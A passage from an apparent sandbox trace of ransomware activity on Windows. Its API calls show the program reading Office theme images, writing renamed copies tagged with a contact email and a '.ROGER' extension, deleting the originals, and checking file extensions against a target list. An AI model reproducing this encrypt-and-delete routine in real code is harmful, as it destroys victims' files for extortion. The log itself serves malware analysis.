lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.434] SetEndOfFile (hFile=0x370) returned 1 [0047.434] CloseHandle (hObject=0x370) returned 1 [0047.435] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.435] SetEndOfFile (hFile=0x3a0) returned 1 [0047.435] CloseHandle (hObject=0x3a0) returned 1 [0047.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.436] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0047.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.436] lstrlenW (lpString=".doc") returned 4 [0047.436] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.436] lstrlenW (lpString=".docx") returned 5 [0047.436] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.436] lstrlenW (lpString=".pdf") returned 4 [0047.436] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.436] lstrlenW (lpString=".xls") returned 4 [0047.436] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.436] lstrlenW (lpString=".xlsx") returned 5 [0047.436] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.436] lstrlenW (lpString=".ppt") returned 4 [0047.436] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.436] lstrlenW (lpString=".zip") returned 4 [0047.436] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.436] lstrlenW (lpString=".rar") returned 4 [0047.436] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.436] lstrlenW (lpString=".bz2") returned 4 [0047.436] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.437] lstrlenW (lpString=".7z") returned 3 [0047.437] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.437] lstrlenW (lpString=".dbf") returned 4 [0047.437] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.437] lstrlenW (lpString=".1cd") returned 4 [0047.437] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.437] lstrlenW (lpString=".jpg") returned 4 [0047.437] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.437] lstrlenW (lpString=".doc") returned 4 [0047.437] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.437] lstrlenW (lpString=".docx") returned 5 [0047.437] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.437] lstrlenW (lpString=".pdf") returned 4 [0047.437] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.437] lstrlenW (lpString=".xls") returned 4 [0047.437] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.437] lstrlenW (lpString=".xlsx") returned 5 [0047.437] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.437] lstrlenW (lpString=".ppt") returned 4 [0047.437] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.437] lstrlenW (lpString=".zip") returned 4 [0047.437] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.437] lstrlenW (lpString=".rar") returned 4 [0047.437] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.437] lstrlenW (lpString=".bz2") returned 4 [0047.437] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.438] lstrlenW (lpString=".7z") returned 3 [0047.438] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.438] lstrlenW (lpString=".dbf") returned 4 [0047.438] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.438] lstrlenW (lpString=".1cd") returned 4 [0047.438] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.438] lstrlenW (lpString=".jpg") returned 4 [0047.438] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.438] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0047.438] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.439] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=27407) returned 1 [0047.439] CloseHandle (hObject=0x3a0) returned 1 [0047.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0047.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.439] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.439] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0047.440] GetLastError () returned 0x0 [0047.440] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0047.442] WriteFile (in: hFile=0x370, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0047.443] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.443] WriteFile (in: hFile=0x370, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.443] SetEndOfFile (hFile=0x370) returned 1 [0047.443] CloseHandle (hObject=0x370) returned 1 [0047.443] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.443] SetEndOfFile (hFile=0x3a0) returned 1 [0047.444] CloseHandle (hObject=0x3a0) returned 1 [0047.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.444] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0047.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.445] lstrlenW (lpString=".doc") returned 4 [0047.445] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.445] lstrlenW (lpString=".docx") returned 5 [0047.445] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.445] lstrlenW (lpString=".pdf") returned 4 [0047.445] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.445] lstrlenW (lpString=".xls") returned 4 [0047.445] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.445] lstrlenW (lpString=".xlsx") returned 5 [0047.445] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.445] lstrlenW (lpString=".ppt") returned 4 [0047.445] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.445] lstrlenW (lpString=".zip") returned 4 [0047.445] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.445] lstrlenW (lpString=".rar") returned 4 [0047.445] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.445] lstrlenW (lpString=".bz2") returned 4 [0047.445] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.445] lstrlenW (lpString=".7z") returned 3 [0047.445] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.445] lstrlenW (lpString=".dbf") returned 4 [0047.445] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.445] lstrlenW (lpString=".1cd") returned 4 [0047.445] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.445] lstrlenW (lpString=".jpg") returned 4 [0047.446] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.446] lstrlenW (lpString=".doc") returned 4 [0047.446] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.446] lstrlenW (lpString=".docx") returned 5 [0047.446] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.446] lstrlenW (lpString=".pdf") returned 4 [0047.446] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.446] lstrlenW (lpString=".xls") returned 4 [0047.446] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.446] lstrlenW (lpString=".xlsx") returned 5 [0047.446] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.446] lstrlenW (lpString=".ppt") returned 4 [0047.446] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.446] lstrlenW (lpString=".zip") returned 4 [0047.446] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.446] lstrlenW (lpString=".rar") returned 4 [0047.446] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.446] lstrlenW (lpString=".bz2") returned 4 [0047.446] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.446] lstrlenW (lpString=".7z") returned 3 [0047.446] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.446] lstrlenW (lpString=".dbf") returned 4 [0047.446] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.446] lstrlenW (lpString=".1cd") returned 4 [0047.446] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.446] lstrlenW (lpString=".jpg") returned 4 [0047.447] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.447] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0047.447] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.447] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=3479) returned 1 [0047.447] CloseHandle (hObject=0x3a0) returned 1 [0047.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0047.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.447] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.448] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0047.449] GetLastError () returned 0x0 [0047.449] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0xd97, lpOverlapped=0x0) returned 1 [0047.451] WriteFile (in: hFile=0x370, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0047.452] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.452] WriteFile (in: hFile=0x370, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.452] SetEndOfFile (hFile=0x370) returned 1 [0047.452] CloseHandle (hObject=0x370) returned 1 [0047.452] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.452] SetEndOfFile (hFile=0x3a0) returned 1 [0047.453] CloseHandle (hObject=0x3a0) returned 1 [0047.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.453] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0047.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.454] lstrlenW (lpString=".doc") returned 4 [0047.454] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.454] lstrlenW (lpString=".docx") returned 5 [0047.454] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.454] lstrlenW (lpString=".pdf") returned 4 [0047.454] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.454] lstrlenW (lpString=".xls") returned 4 [0047.454] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.454] lstrlenW (lpString=".xlsx") returned 5 [0047.454] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.454] lstrlenW (lpString=".ppt") returned 4 [0047.454] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.454] lstrlenW (lpString=".zip") returned 4 [0047.454] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.454] lstrlenW (lpString=".rar") returned 4 [0047.454] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.454] lstrlenW (lpString=".bz2") returned 4 [0047.454] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.454] lstrlenW (lpString=".7z") returned 3 [0047.454] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.454] lstrlenW (lpString=".dbf") returned 4 [0047.454] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.454] lstrlenW (lpString=".1cd") returned 4 [0047.454] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.454] lstrlenW (lpString=".jpg") returned 4 [0047.454] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.455] lstrlenW (lpString=".doc") returned 4 [0047.455] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.455] lstrlenW (lpString=".docx") returned 5 [0047.455] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.455] lstrlenW (lpString=".pdf") returned 4 [0047.455] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.455] lstrlenW (lpString=".xls") returned 4 [0047.455] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.455] lstrlenW (lpString=".xlsx") returned 5 [0047.455] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.455] lstrlenW (lpString=".ppt") returned 4 [0047.455] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.455] lstrlenW (lpString=".zip") returned 4 [0047.455] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.455] lstrlenW (lpString=".rar") returned 4 [0047.455] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.455] lstrlenW (lpString=".bz2") returned 4 [0047.455] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.455] lstrlenW (lpString=".7z") returned 3 [0047.455] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.455] lstrlenW (lpString=".dbf") returned 4 [0047.455] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.455] lstrlenW (lpString=".1cd") returned 4 [0047.455] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.455] lstrlenW (lpString=".jpg") returned 4 [0047.455] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.456] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0047.456] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.456] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=31837) returned 1 [0047.456] CloseHandle (hObject=0x3a0) returned 1 [0047.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0047.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.456] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.456] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0047.457] GetLastError () returned 0x0 [0047.457] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0047.818] WriteFile (in: hFile=0x370, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x7c60, lpOverlapped=0x0) returned 1 